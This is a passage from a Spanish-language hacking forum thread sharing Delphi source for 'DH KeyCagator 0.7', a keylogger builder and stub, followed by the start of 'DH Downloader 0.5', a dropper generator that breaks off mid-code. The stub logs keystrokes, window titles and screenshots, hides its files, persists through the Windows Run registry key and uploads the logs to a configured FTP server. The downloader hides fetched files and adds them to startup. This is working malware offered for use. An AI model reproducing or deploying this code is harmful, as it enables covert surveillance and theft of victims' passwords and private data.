  195.    capture_op := '0';
  196.  end;
  197.  
  198.  capture_seconds := StrToInt(sEdit3.Text) * 1000;
  199.  
  200.  if (sCheckBox2.Checked = True) then
  201.  begin
  202.    ftp_op := '1';
  203.  end
  204.  else
  205.  begin
  206.    ftp_op := '0';
  207.  end;
  208.  
  209.  ftp_seconds := StrToInt(sEdit4.Text) * 1000;
  210.  
  211.  ftp_host_txt := sEdit5.Text;
  212.  ftp_user_txt := sEdit7.Text;
  213.  ftp_pass_txt := sEdit8.Text;
  214.  ftp_path_txt := sEdit6.Text;
  215.  
  216.  lineafinal := '[63686175]' + dhencode
  217.    ('[opsave]' + savein_especial + '[opsave]' + '[save]' + savein + '[save]' +
  218.      '[folder]' + foldername + '[folder]' + '[capture_op]' + capture_op +
  219.      '[capture_op]' + '[capture_seconds]' + IntToStr(capture_seconds)
  220.      + '[capture_seconds]' + '[ftp_op]' + ftp_op + '[ftp_op]' +
  221.      '[ftp_seconds]' + IntToStr(ftp_seconds)
  222.      + '[ftp_seconds]' + '[ftp_host]' + ftp_host_txt + '[ftp_host]' +
  223.      '[ftp_user]' + ftp_user_txt + '[ftp_user]' + '[ftp_pass]' +
  224.      ftp_pass_txt + '[ftp_pass]' + '[ftp_path]' + ftp_path_txt + '[ftp_path]',
  225.    'encode') + '[63686175]';
  226.  
  227.  aca := INVALID_HANDLE_VALUE;
  228.  nose := 0;
  229.  
  230.  stubgenerado := 'keycagator_ready.exe';
  231.  
  232.  DeleteFile(stubgenerado);
  233.  CopyFile(PChar(ExtractFilePath(Application.ExeName)
  234.        + '/' + 'Data/keycagator.exe'), PChar
  235.      (ExtractFilePath(Application.ExeName) + '/' + stubgenerado), True);
  236.  
  237.  StrCopy(code, PChar(lineafinal));
  238.  aca := CreateFile(PChar('keycagator_ready.exe'), GENERIC_WRITE,
  239.    FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0);
  240.  if (aca <> INVALID_HANDLE_VALUE) then
  241.  begin
  242.    SetFilePointer(aca, 0, nil, FILE_END);
  243.    WriteFile(aca, code, 9999, nose, nil);
  244.    CloseHandle(aca);
  245.  end;
  246.  
  247.  op := InputBox('Icon Changer', 'Change Icon ?', 'Yes');
  248.  
  249.  if (op = 'Yes') then
  250.  begin
  251.    OpenDialog1.InitialDir := GetCurrentDir;
  252.    if OpenDialog1.Execute then
  253.    begin
  254.  
  255.      try
  256.        begin
  257.  
  258.          valor := IntToStr(128);
  259.  
  260.          change := BeginUpdateResourceW
  261.            (PWideChar(wideString(ExtractFilePath(Application.ExeName)
  262.                  + '/' + stubgenerado)), False);
  263.          LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
  264.            PWideChar(wideString(OpenDialog1.FileName)));
  265.          EndUpdateResourceW(change, False);
  266.          sStatusBar1.Panels[0].Text := '[+] Done ';
  267.          sStatusBar1.Update;
  268.        end;
  269.      except
  270.        begin
  271.          sStatusBar1.Panels[0].Text := '[-] Error';
  272.          sStatusBar1.Update;
  273.        end;
  274.      end;
  275.    end
  276.    else
  277.    begin
  278.      sStatusBar1.Panels[0].Text := '[+] Done ';
  279.      sStatusBar1.Update;
  280.    end;
  281.  end
  282.  else
  283.  begin
  284.    sStatusBar1.Panels[0].Text := '[+] Done ';
  285.    sStatusBar1.Update;
  286.  end;
  287.  
  288. end;
  289.  
  290. procedure TForm1.sButton2Click(Sender: TObject);
  291. var
  292.  i: integer;
  293.  dir: string;
  294.  busqueda: TSearchRec;
  295.  
  296. begin
  297.  
  298.  IdFTP1.Host := sEdit9.Text;
  299.  IdFTP1.Username := sEdit11.Text;
  300.  IdFTP1.Password := sEdit12.Text;
  301.  
  302.  dir := ExtractFilePath(ParamStr(0)) + 'read_ftp\';
  303.  
  304.  try
  305.    begin
  306.      FindFirst(dir + '\*.*', faAnyFile + faReadOnly, busqueda);
  307.      DeleteFile(dir + '\' + busqueda.Name);
  308.      while FindNext(busqueda) = 0 do
  309.      begin
  310.        DeleteFile(dir + '\' + busqueda.Name);
  311.      end;
  312.      FindClose(busqueda);
  313.  
  314.      rmdir(dir);
  315.    end;
  316.  except
  317.    //
  318.  end;
  319.  
  320.  if not(DirectoryExists(dir)) then
  321.  begin
  322.    CreateDir(dir);
  323.  end;
  324.  
  325.  ChDir(dir);
  326.  
  327.  try
  328.    begin
  329.      IdFTP1.Connect;
  330.      IdFTP1.ChangeDir(sEdit10.Text);
  331.  
  332.      IdFTP1.List('*.*', True);
  333.  
  334.      for i := 0 to IdFTP1.DirectoryListing.Count - 1 do
  335.      begin
  336.        IdFTP1.Get(IdFTP1.DirectoryListing.Items[i].FileName,
  337.          IdFTP1.DirectoryListing.Items[i].FileName, False, False);
  338.      end;
  339.  
  340.      ShellExecute(0, nil, PChar(dir + 'logs.html'), nil, nil, SW_SHOWNORMAL);
  341.  
  342.      IdFTP1.Disconnect;
  343.      IdFTP1.Free;
  344.    end;
  345.  except
  346.    //
  347.  end;
  348.  
  349. end;
  350.  
  351. end.
  352.  
  353. // The End ?
  354.  

El stub.

Código
  1. // DH KeyCagator 0.7
  2. // (C) Doddy Hackman 2013
  3.  
  4. program keycagator;
  5.  
  6. // {$APPTYPE CONSOLE}
  7.  
  8. uses
  9.  SysUtils, Windows, WinInet, ShellApi;
  10.  
  11. var
  12.  nombrereal: string;
  13.  rutareal: string;
  14.  yalisto: string;
  15.  registro: HKEY;
  16.  dir: string;
  17.  time: integer;
  18.  
  19.  dir_hide: string;
  20.  time_screen: integer;
  21.  time_ftp: integer;
  22.  ftp_host: Pchar;
  23.  ftp_user: Pchar;
  24.  ftp_password: Pchar;
  25.  ftp_dir: Pchar;
  26.  
  27.  carpeta: string;
  28.  directorio: string;
  29.  dir_normal: string;
  30.  dir_especial: string;
  31.  ftp_online: string;
  32.  screen_online: string;
  33.  activado: string;
  34.  
  35.  ob: THandle;
  36.  code: Array [0 .. 9999 + 1] of Char;
  37.  nose: DWORD;
  38.  todo: string;
  39.  
  40.  // Functions
  41.  
  42. function regex(text: String; deaca: String; hastaaca: String): String;
  43. begin
  44.  Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
  45.  SetLength(text, AnsiPos(hastaaca, text) - 1);
  46.  Result := text;
  47. end;
  48.  
  49. function dhencode(texto, opcion: string): string;
  50. // Thanks to Taqyon
  51. // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
  52. var
  53.  num: integer;
  54.  aca: string;
  55.  cantidad: integer;
  56.  
  57. begin
  58.  
  59.  num := 0;
  60.  Result := '';
  61.  aca := '';
  62.  cantidad := 0;
  63.  
  64.  if (opcion = 'encode') then
  65.  begin
  66.    cantidad := Length(texto);
  67.    for num := 1 to cantidad do
  68.    begin
  69.      aca := IntToHex(ord(texto[num]), 2);
  70.      Result := Result + aca;
  71.    end;
  72.  end;
  73.  
  74.  if (opcion = 'decode') then
  75.  begin
  76.    cantidad := Length(texto);
  77.    for num := 1 to cantidad div 2 do
  78.    begin
  79.      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
  80.      Result := Result + aca;
  81.    end;
  82.  end;
  83.  
  84. end;
  85.  
  86. procedure savefile(filename, texto: string);
  87. var
  88.  ar: TextFile;
  89.  
  90. begin
  91.  
  92.  try
  93.  
  94.    begin
  95.      AssignFile(ar, filename);
  96.      FileMode := fmOpenWrite;
  97.  
  98.      if FileExists(filename) then
  99.        Append(ar)
  100.      else
  101.        Rewrite(ar);
  102.  
  103.      Write(ar, texto);
  104.      CloseFile(ar);
  105.    end;
  106.  except
  107.    //
  108.  end;
  109.  
  110. end;
  111.  
  112. procedure upload_ftpfile(host, username, password, filetoupload,
  113.  conestenombre: Pchar);
  114.  
  115. // Credits :
  116. // Based on : http://stackoverflow.com/questions/1380309/why-is-my-program-not-uploading-file-on-remote-ftp-server
  117. // Thanks to Omair Iqbal
  118.  
  119. var
  120.  controluno: HINTERNET;
  121.  controldos: HINTERNET;
  122.  
  123. begin
  124.  
  125.  try
  126.  
  127.    begin
  128.      controluno := InternetOpen(0, INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, 0);
  129.      controldos := InternetConnect(controluno, host,
  130.        INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP,
  131.        INTERNET_FLAG_PASSIVE, 0);
  132.      ftpPutFile(controldos, filetoupload, conestenombre,
  133.        FTP_TRANSFER_TYPE_BINARY, 0);
  134.      InternetCloseHandle(controldos);
  135.      InternetCloseHandle(controluno);
  136.    end
  137.  except
  138.    //
  139.  end;
  140.  
  141. end;
  142.  
  143. procedure capturar_pantalla(nombre: string);
  144.  
  145. // Credits :
  146. // Based on : http://www.delphibasics.info/home/delphibasicssnippets/screencapturewithpurewindowsapi
  147. // Thanks to  www.delphibasics.info and n0v4
  148.  
  149. var
  150.  
  151.  uno: integer;
  152.  dos: integer;
  153.  cre: hDC;
  154.  cre2: hDC;
  155.  im: hBitmap;
  156.  archivo: file of byte;
  157.  parriba: TBITMAPFILEHEADER;
  158.  cantidad: pointer;
  159.  data: TBITMAPINFO;
  160.  
  161. begin
  162.  
  163.  
  164.  // Start
  165.  
  166.  cre := getDC(getDeskTopWindow);
  167.  cre2 := createCompatibleDC(cre);
  168.  uno := getDeviceCaps(cre, HORZRES);
  169.  dos := getDeviceCaps(cre, VERTRES);
  170.  zeromemory(@data, sizeOf(data));
  171.  
  172.  
  173.  // Config
  174.  
  175.  with data.bmiHeader do
  176.  begin
  177.    biSize := sizeOf(TBITMAPINFOHEADER);
  178.    biWidth := uno;
  179.    biheight := dos;
  180.    biplanes := 1;
  181.    biBitCount := 24;
  182.  
  183.  end;
  184.  
  185.  with parriba do
  186.  begin
  187.    bfType := ord('B') + (ord('M') shl 8);
  188.    bfSize := sizeOf(TBITMAPFILEHEADER) + sizeOf(TBITMAPINFOHEADER)
  189.      + uno * dos * 3;
  190.    bfOffBits := sizeOf(TBITMAPINFOHEADER);
  191.  end;
  192.  
  193.  //
  194.  
  195.  im := createDIBSection(cre2, data, DIB_RGB_COLORS, cantidad, 0, 0);
  196.  selectObject(cre2, im);
  197.  
  198.  bitblt(cre2, 0, 0, uno, dos, cre, 0, 0, SRCCOPY);
  199.  
  200.  releaseDC(getDeskTopWindow, cre);
  201.  
  202.  // Make Photo
  203.  
  204.  AssignFile(archivo, nombre);
  205.  Rewrite(archivo);
  206.  
  207.  blockWrite(archivo, parriba, sizeOf(TBITMAPFILEHEADER));
  208.  blockWrite(archivo, data.bmiHeader, sizeOf(TBITMAPINFOHEADER));
  209.  blockWrite(archivo, cantidad^, uno * dos * 3);
  210.  
  211. end;
  212.  
  213. procedure capturar_teclas;
  214.  
  215. var
  216.  I: integer;
  217.  Result: Longint;
  218.  mayus: integer;
  219.  shift: integer;
  220.  
  221. const
  222.  
  223.  n_numeros_izquierda: array [1 .. 10] of string =
  224.    ('48', '49', '50', '51', '52', '53', '54', '55', '56', '57');
  225.  
  226. const
  227.  t_numeros_izquierda: array [1 .. 10] of string =
  228.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  229.  
  230. const
  231.  n_numeros_derecha: array [1 .. 10] of string =
  232.    ('96', '97', '98', '99', '100', '101', '102', '103', '104', '105');
  233.  
  234. const
  235.  t_numeros_derecha: array [1 .. 10] of string =
  236.    ('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
  237.  
  238. const
  239.  n_shift: array [1 .. 22] of string = ('48', '49', '50', '51', '52', '53',
  240.    '54', '55', '56', '57', '187', '188', '189', '190', '191', '192', '193',
  241.    '291', '220', '221', '222', '226');
  242.  
  243. const
  244.  t_shift: array [1 .. 22] of string = (')', '!', '@', '#', '\$', '%', '¨',
  245.    '&', '*', '(', '+', '<', '_', '>', ':', '\', ' ? ', ' / \ ', '}', '{', '^',
  246.    '|');
  247.  
  248. const
  249.  n_raros: array [1 .. 17] of string = ('1', '8', '13', '32', '46', '187',
  250.    '188', '189', '190', '191', '192', '193', '219', '220', '221', '222',
  251.    '226');
  252.  
  253. const
  254.  t_raros: array [1 .. 17] of string = ('[mouse click]', '[backspace]',
  255.    '<br>[enter]<br>', '[space]', '[suprimir]', '=', ',', '-', '.', ';', '\',
  256.    ' / ', ' \ \ \ ', ']', '[', '~', '\/');
  257.  
  258. begin
  259.  
  260.  while (1 = 1) do
  261.  begin
  262.  
  263.    Sleep(time); // Time
  264.  
  265.    try
  266.  
  267.      begin
  268.  
  269.        // Others
  270.  
  271.        for I := Low(n_raros) to High(n_raros) do
  272.        begin
  273.          Result := GetAsyncKeyState(StrToInt(n_raros[I]));
  274.          If Result = -32767 then
  275.          begin
  276.            savefile('logs.html', t_raros[I]);
  277.          end;
  278.        end;
  279.  
  280.        // SHIFT
  281.  
  282.        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  283.        begin
  284.  
  285.          for I := Low(n_shift) to High(n_shift) do
  286.          begin
  287.            Result := GetAsyncKeyState(StrToInt(n_shift[I]));
  288.            If Result = -32767 then
  289.            begin
  290.              savefile('logs.html', t_shift[I]);
  291.            end;
  292.          end;
  293.  
  294.          for I := 65 to 90 do
  295.          begin
  296.            Result := GetAsyncKeyState(I);
  297.            If Result = -32767 then
  298.            Begin
  299.              savefile('logs.html', Chr(I + 0));
  300.            End;
  301.          end;
  302.  
  303.        end;
  304.  
  305.        // Numbers
  306.  
  307.        for I := Low(n_numeros_derecha) to High(n_numeros_derecha) do
  308.        begin
  309.          Result := GetAsyncKeyState(StrToInt(n_numeros_derecha[I]));
  310.          If Result = -32767 then
  311.          begin
  312.            savefile('logs.html', t_numeros_derecha[I]);
  313.          end;
  314.        end;
  315.  
  316.        for I := Low(n_numeros_izquierda) to High(n_numeros_izquierda) do
  317.        begin
  318.          Result := GetAsyncKeyState(StrToInt(n_numeros_izquierda[I]));
  319.          If Result = -32767 then
  320.          begin
  321.            savefile('logs.html', t_numeros_izquierda[I]);
  322.          end;
  323.        end;
  324.  
  325.        // MAYUS
  326.  
  327.        if (GetKeyState(20) = 0) then
  328.        begin
  329.          mayus := 32;
  330.        end
  331.        else
  332.        begin
  333.          mayus := 0;
  334.        end;
  335.  
  336.        for I := 65 to 90 do
  337.        begin
  338.          Result := GetAsyncKeyState(I);
  339.          If Result = -32767 then
  340.          Begin
  341.            savefile('logs.html', Chr(I + mayus));
  342.          End;
  343.        end;
  344.      end;
  345.    except
  346.      //
  347.    end;
  348.  
  349.  end;
  350. end;
  351.  
  352. procedure capturar_ventanas;
  353. var
  354.  ventana1: array [0 .. 255] of Char;
  355.  nombre1: string;
  356.  Nombre2: string; //
  357. begin
  358.  while (1 = 1) do
  359.  begin
  360.  
  361.    try
  362.  
  363.      begin
  364.        Sleep(time); // Time
  365.  
  366.        GetWindowText(GetForegroundWindow, ventana1, sizeOf(ventana1));
  367.  
  368.        nombre1 := ventana1;
  369.  
  370.        if not(nombre1 = Nombre2) then
  371.        begin
  372.          Nombre2 := nombre1;
  373.          savefile('logs.html',
  374.            '<hr style=color:#00FF00><h2><center>' + Nombre2 +
  375.              '</h2></center><br>');
  376.        end;
  377.  
  378.      end;
  379.    except
  380.      //
  381.    end;
  382.  end;
  383.  
  384. end;
  385.  
  386. procedure capturar_pantallas;
  387. var
  388.  generado: string;
  389. begin
  390.  while (1 = 1) do
  391.  begin
  392.  
  393.    Sleep(time_screen);
  394.  
  395.    generado := IntToStr(Random(100)) + '.jpg';
  396.  
  397.    try
  398.  
  399.      begin
  400.        capturar_pantalla(generado);
  401.      end;
  402.    except
  403.      //
  404.    end;
  405.  
  406.    SetFileAttributes(Pchar(dir + '/' + generado), FILE_ATTRIBUTE_HIDDEN);
  407.  
  408.    savefile('logs.html', '<br><br><center><img src=' + generado +
  409.        '></center><br><br>');
  410.  
  411.  end;
  412. end;
  413.  
  414. procedure subirftp;
  415. var
  416.  busqueda: TSearchRec;
  417. begin
  418.  while (1 = 1) do
  419.  begin
  420.  
  421.    try
  422.  
  423.      begin
  424.        Sleep(time_ftp);
  425.  
  426.        upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
  427.            (dir + 'logs.html'), Pchar(ftp_dir + 'logs.html'));
  428.  
  429.        FindFirst(dir + '*.jpg', faAnyFile, busqueda);
  430.  
  431.        upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
  432.            (dir + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
  433.        while FindNext(busqueda) = 0 do
  434.        begin
  435.          upload_ftpfile(ftp_host, ftp_user, ftp_password, Pchar
  436.              (dir + '/' + busqueda.Name), Pchar(ftp_dir + busqueda.Name));
  437.        end;
  438.      end;
  439.    except
  440.      //
  441.    end;
  442.  end;
  443. end;
  444.  
  445. procedure control;
  446. var
  447.  I: integer;
  448.  re: Longint;
  449. begin
  450.  
  451.  while (1 = 1) do
  452.  begin
  453.  
  454.    try
  455.  
  456.      begin
  457.  
  458.        Sleep(time);
  459.  
  460.        if (GetAsyncKeyState(VK_SHIFT) <> 0) then
  461.        begin
  462.  
  463.          re := GetAsyncKeyState(120);
  464.          If re = -32767 then
  465.          Begin
  466.  
  467.            ShellExecute(0, nil, Pchar(dir + 'logs.html'), nil, nil,
  468.              SW_SHOWNORMAL);
  469.  
  470.          End;
  471.        end;
  472.      end;
  473.    except
  474.      //
  475.    end;
  476.  End;
  477. end;
  478.  
  479. //
  480.  
  481. begin
  482.  
  483.  try
  484.  
  485.    // Config
  486.  
  487.    try
  488.  
  489.      begin
  490.  
  491.        // Edit
  492.  
  493.        ob := INVALID_HANDLE_VALUE;
  494.        code := '';
  495.  
  496.        ob := CreateFile(Pchar(paramstr(0)), GENERIC_READ, FILE_SHARE_READ,
  497.          nil, OPEN_EXISTING, 0, 0);
  498.        if (ob <> INVALID_HANDLE_VALUE) then
  499.        begin
  500.          SetFilePointer(ob, -9999, nil, FILE_END);
  501.          ReadFile(ob, code, 9999, nose, nil);
  502.          CloseHandle(ob);
  503.        end;
  504.  
  505.        todo := regex(code, '[63686175]', '[63686175]');
  506.        todo := dhencode(todo, 'decode');
  507.  
  508.        dir_especial := Pchar(regex(todo, '[opsave]', '[opsave]'));
  509.        directorio := regex(todo, '[save]', '[save]');
  510.        carpeta := regex(todo, '[folder]', '[folder]');
  511.        screen_online := regex(todo, '[capture_op]', '[capture_op]');
  512.        time_screen := StrToInt(regex(todo, '[capture_seconds]',
  513.            '[capture_seconds]'));
  514.        ftp_online := Pchar(regex(todo, '[ftp_op]', '[ftp_op]'));
  515.        time_ftp := StrToInt(regex(todo, '[ftp_seconds]', '[ftp_seconds]'));
  516.        ftp_host := Pchar(regex(todo, '[ftp_host]', '[ftp_host]'));
  517.        ftp_user := Pchar(regex(todo, '[ftp_user]', '[ftp_user]'));
  518.        ftp_password := Pchar(regex(todo, '[ftp_pass]', '[ftp_pass]'));
  519.        ftp_dir := Pchar(regex(todo, '[ftp_path]', '[ftp_path]'));
  520.  
  521.        dir_normal := dir_especial;
  522.  
  523.        time := 100; // Not Edit
  524.  
  525.        if (dir_normal = '1') then
  526.        begin
  527.          dir_hide := directorio;
  528.        end
  529.        else
  530.        begin
  531.          dir_hide := GetEnvironmentVariable(directorio) + '/';
  532.        end;
  533.  
  534.        dir := dir_hide + carpeta + '/';
  535.  
  536.        if not(DirectoryExists(dir)) then
  537.        begin
  538.          CreateDir(dir);
  539.        end;
  540.  
  541.        ChDir(dir);
  542.  
  543.        nombrereal := ExtractFileName(paramstr(0));
  544.        rutareal := dir;
  545.        yalisto := dir + nombrereal;
  546.  
  547.        MoveFile(Pchar(paramstr(0)), Pchar(yalisto));
  548.  
  549.        SetFileAttributes(Pchar(dir), FILE_ATTRIBUTE_HIDDEN);
  550.  
  551.        SetFileAttributes(Pchar(yalisto), FILE_ATTRIBUTE_HIDDEN);
  552.  
  553.        savefile(dir + '/logs.html', '');
  554.  
  555.        SetFileAttributes(Pchar(dir + '/logs.html'), FILE_ATTRIBUTE_HIDDEN);
  556.  
  557.        savefile('logs.html',
  558.          '<style>body {background-color: black;color:#00FF00;cursor:crosshair;}</style>');
  559.  
  560.        RegCreateKeyEx(HKEY_LOCAL_MACHINE,
  561.          'Software\Microsoft\Windows\CurrentVersion\Run\', 0, nil,
  562.          REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, registro, nil);
  563.        RegSetValueEx(registro, 'uberk', 0, REG_SZ, Pchar(yalisto), 666);
  564.        RegCloseKey(registro);
  565.      end;
  566.    except
  567.      //
  568.    end;
  569.  
  570.    // End
  571.  
  572.    // Start the party
  573.  
  574.    BeginThread(nil, 0, @capturar_teclas, nil, 0, PDWORD(0)^);
  575.    BeginThread(nil, 0, @capturar_ventanas, nil, 0, PDWORD(0)^);
  576.  
  577.    if (screen_online = '1') then
  578.    begin
  579.      BeginThread(nil, 0, @capturar_pantallas, nil, 0, PDWORD(0)^);
  580.    end;
  581.    if (ftp_online = '1') then
  582.    begin
  583.      BeginThread(nil, 0, @subirftp, nil, 0, PDWORD(0)^);
  584.    end;
  585.  
  586.    BeginThread(nil, 0, @control, nil, 0, PDWORD(0)^);
  587.  
  588.    // Readln;
  589.  
  590.    while (1 = 1) do
  591.      Sleep(time);
  592.  
  593.  except
  594.    //
  595.  end;
  596.  
  597. end.
  598.  
  599. // The End ?
  600.  

Si lo quieren bajar lo pueden hacer de aca.
177  Programación / Programación General / [Delphi] DH Downloader 0.5 en: 18 Noviembre 2013, 14:59 pm
Un simple programa en Delphi para bajar archivos con las siguientes opciones :

  • Se puede cambiar el nombre del archivo descargado
  • Se puede guardar en la carpeta que quieran
  • Se puede ocultar el archivo
  • Hace que el archivo se inicie cada vez que carga Windows
  • Se puede cargar oculto o normal
  • Tambien hice un generador en el que esta pensado para poner un link de descarga directa como dropbox para bajar un server en el cual tambien se le puede cambiar el icono.

Unas imagenes :







El codigo.

El form principal.

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit dh;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, sSkinManager, StdCtrls, sGroupBox, sButton;
  11.  
  12. type
  13.  TForm1 = class(TForm)
  14.    sSkinManager1: TsSkinManager;
  15.    Image1: TImage;
  16.    sGroupBox1: TsGroupBox;
  17.    sButton1: TsButton;
  18.    sButton2: TsButton;
  19.    sButton3: TsButton;
  20.    sButton4: TsButton;
  21.    procedure sButton3Click(Sender: TObject);
  22.    procedure sButton4Click(Sender: TObject);
  23.    procedure sButton1Click(Sender: TObject);
  24.    procedure sButton2Click(Sender: TObject);
  25.    procedure FormCreate(Sender: TObject);
  26.  private
  27.    { Private declarations }
  28.  public
  29.    { Public declarations }
  30.  end;
  31.  
  32. var
  33.  Form1: TForm1;
  34.  
  35. implementation
  36.  
  37. uses about, usbmode, generate;
  38. {$R *.dfm}
  39.  
  40. procedure TForm1.FormCreate(Sender: TObject);
  41. begin
  42.  
  43.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  44.  sSkinManager1.SkinName := 'neonnight';
  45.  sSkinManager1.Active := True;
  46.  
  47. end;
  48.  
  49. procedure TForm1.sButton1Click(Sender: TObject);
  50. begin
  51.  Form3.Show;
  52. end;
  53.  
  54. procedure TForm1.sButton2Click(Sender: TObject);
  55. begin
  56.  Form4.Show;
  57. end;
  58.  
  59. procedure TForm1.sButton3Click(Sender: TObject);
  60. begin
  61.  Form2.Show;
  62. end;
  63.  
  64. procedure TForm1.sButton4Click(Sender: TObject);
  65. begin
  66.  Form1.Close;
  67. end;
  68.  
  69. end.
  70.  
  71. // The End ?
  72.  

El USB Mode.

Código
  1. // DH Downloader 0.5
  2. // (C) Doddy Hackman 2013
  3.  
  4. unit usbmode;
  5.  
  6. interface
  7.  
  8. uses
  9.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  10.  Dialogs, acPNG, ExtCtrls, ComCtrls, sStatusBar, StdCtrls, sGroupBox, sEdit,
  11.  sLabel, sCheckBox, sRadioButton, sButton, acProgressBar, IdBaseComponent,
  12.  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, Registry, ShellApi;
  13.  
  14. type
  15.  TForm3 = class(TForm)
  16.    Image1: TImage;
  17.    sStatusBar1: TsStatusBar;
  18.    sGroupBox1: TsGroupBox;
  19.    sGroupBox2: TsGroupBox;
  20.    sEdit1: TsEdit;
  21.    sGroupBox3: TsGroupBox;
  22.    sCheckBox1: TsCheckBox;
  23.    sEdit2: TsEdit;
  24.    sCheckBox2: TsCheckBox;
  25.    sEdit3: TsEdit;
  26.    sCheckBox3: TsCheckBox;
  27.    sCheckBox4: TsCheckBox;
  28.    sCheckBox5: TsCheckBox;
  29.    sRadioButton1: TsRadioButton;
  30.    sRadioButton2: TsRadioButton;
  31.    sGroupBox4: TsGroupBox;
  32.    sButton1: TsButton;
  33.    sProgressBar1: TsProgressBar;
  34.    IdHTTP1: TIdHTTP;
  35.    procedure sButton1Click(Sender: TObject);
  36.    procedure IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  37.      AWorkCount: Int64);
  38.    procedure IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  39.      AWorkCountMax: Int64);
  40.    procedure IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  41.    procedure FormCreate(Sender: TObject);
  42.  private
  43.    { Private declarations }
  44.  public
  45.    { Public declarations }
  46.  end;
  47.  
  48. var
  49.  Form3: TForm3;
  50.  
  51. implementation
  52.  
  53. uses about, dh;
  54. {$R *.dfm}
  55. // Functions
  56.  
  57. function getfilename(archivo: string): string;
  58. var
  59.  test: TStrings;
  60. begin
  61.  
  62.  test := TStringList.Create;
  63.  test.Delimiter := '/';
  64.  test.DelimitedText := archivo;
  65.  Result := test[test.Count - 1];
  66.  
  67.  test.Free;
  68.  
  69. end;
  70.  
  71. //
  72.  
  73. procedure TForm3.FormCreate(Sender: TObject);
  74. begin
  75.  sProgressBar1.Position := 0;
  76. end;
  77.  
  78. procedure TForm3.IdHTTP1Work(ASender: TObject; AWorkMode: TWorkMode;
  79.  AWorkCount: Int64);
  80. begin
  81.  sProgressBar1.Position := AWorkCount;
  82.  sStatusBar1.Panels[0].Text := '[+] Downloading ...';
  83.  sStatusBar1.Update;
  84. end;
  85.  
  86. procedure TForm3.IdHTTP1WorkBegin(ASender: TObject; AWorkMode: TWorkMode;
  87.  AWorkCountMax: Int64);
  88. begin
  89.  sProgressBar1.Max := AWorkCountMax;
  90.  sStatusBar1.Panels[0].Text := '[+] Starting download ...';
  91.  sStatusBar1.Update;
  92. end;
  93.  
  94. procedure TForm3.IdHTTP1WorkEnd(ASender: TObject; AWorkMode: TWorkMode);
  95. begin
  96.  sProgressBar1.Position := 0;
  97. end;
  98.  
  99. procedure TForm3.sButton1Click(Sender: TObject);
  100. var
  101.  filename: string;
  102.  nombrefinal: string;
  103.  addnow: TRegistry;
  104.  archivobajado: TFileStream;
  105.  
  106. begin
  107.  
  108.  if not sCheckBox1.Checked then
  109.  begin
  110.    filename := sEdit1.Text;
  111.    nombrefinal := getfilename(filename);
  112.  end
  113.  else
  114.  begin
  115.    nombrefinal := sEdit2.Text;
  116.  end;
  117.  
  118.  archivobajado := TFileStream.Create(nombrefinal, fmCreate);
  119.  
  120.  try
  121.    begin
  122.      DeleteFile(nombrefinal);
  123.      IdHTTP1.Get(sEdit1.Text, archivobajado);
  124.      sStatusBar1.Panels[0].Text := '[+] File Dowloaded';
  125.      sStatusBar1.Update;
  126.      archivobajado.Free;
  127.    end;
  128.  except
  129.    sStatusBar1.Panels[0].Text := '[-] Failed download';
  130.    sStatusBar1.Update;
  131.    archivobajado.Free;
  132.    Abort;
  133.  end;
  134.  
  135.  if FileExists(nombrefinal) then
  136.  begin
  137.  
  138.    if sCheckBox2.Checked then
  139.    begin
  140.      if not DirectoryExists(sEdit3.Text) then
  141.      begin
  142.        CreateDir(sEdit3.Text);
  143.      end;
  144.      MoveFile(Pchar(nombrefinal), Pchar(sEdit3.Text + '/' + nombrefinal));
  145.      sStatusBar1.Panels[0].Text := '[+] File Moved';
  146.      sStatusBar1.Update;
  147.    end;
  148.  
  149.    if sCheckBox3.Checked then
  150.    begin
  151.      SetFileAttributes(Pchar(sEdit3.Text), FILE_ATTRIBUTE_HIDDEN);
  152.      if sCheckBox2.Checked then
  153.      begin
  154.        SetFileAttributes(Pchar(sEdit3.Text + '/' + nombrefinal),
  155.          FILE_ATTRIBUTE_HIDDEN);
  156.  
  157.        sStatusBar1.Panels[0].Text := '[+] File Hidden';
  158.        sStatusBar1.Update;
  159.      end
  160.      else
  161.      begin
  162.        SetFileAttributes(Pchar(nombrefinal), FILE_ATTRIBUTE_HIDDEN);
  163.        sStatusBar1.Panels[0].Text := '[+] File Hidden';
  164.        sStatusBar1.Update;
  165.      end;
  166.    end;
  167.  
  168.    if sCheckBox4.Checked then
  169.    begin
  170.  
  171.      addnow := TRegistry.Create;
  172.      addnow.RootKey := HKEY_LOCAL_MACHINE;
  173.      addnow.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
  174.  
  175.      if sCheckBox2.Checked then
  176.      begin
  177.        addnow.WriteString('uber', sEdit3.Text + '/' + nombrefinal);
  178.      end
  179.      else
  180.      begin
  181.        addnow.WriteString('uber', ExtractFilePath(Application.ExeName)
  182.            + '/' + nombrefinal);
  183.      end;
  184.  
  185.      sStatusBar1.Panels[0].Text := '[+] Registry Updated';
  186.      sStatusBar1.Update;
  187.  
  188.      addnow.Free;
  189.  
  190.    end;
  191.  
  192.    if sCheckBox5.Checked then
  193.    begin
  194.  
  195.      if sRadioButton1.Checked then
  196.      begin
  197.        if sCheckBox2.Checked then
  198.        begin
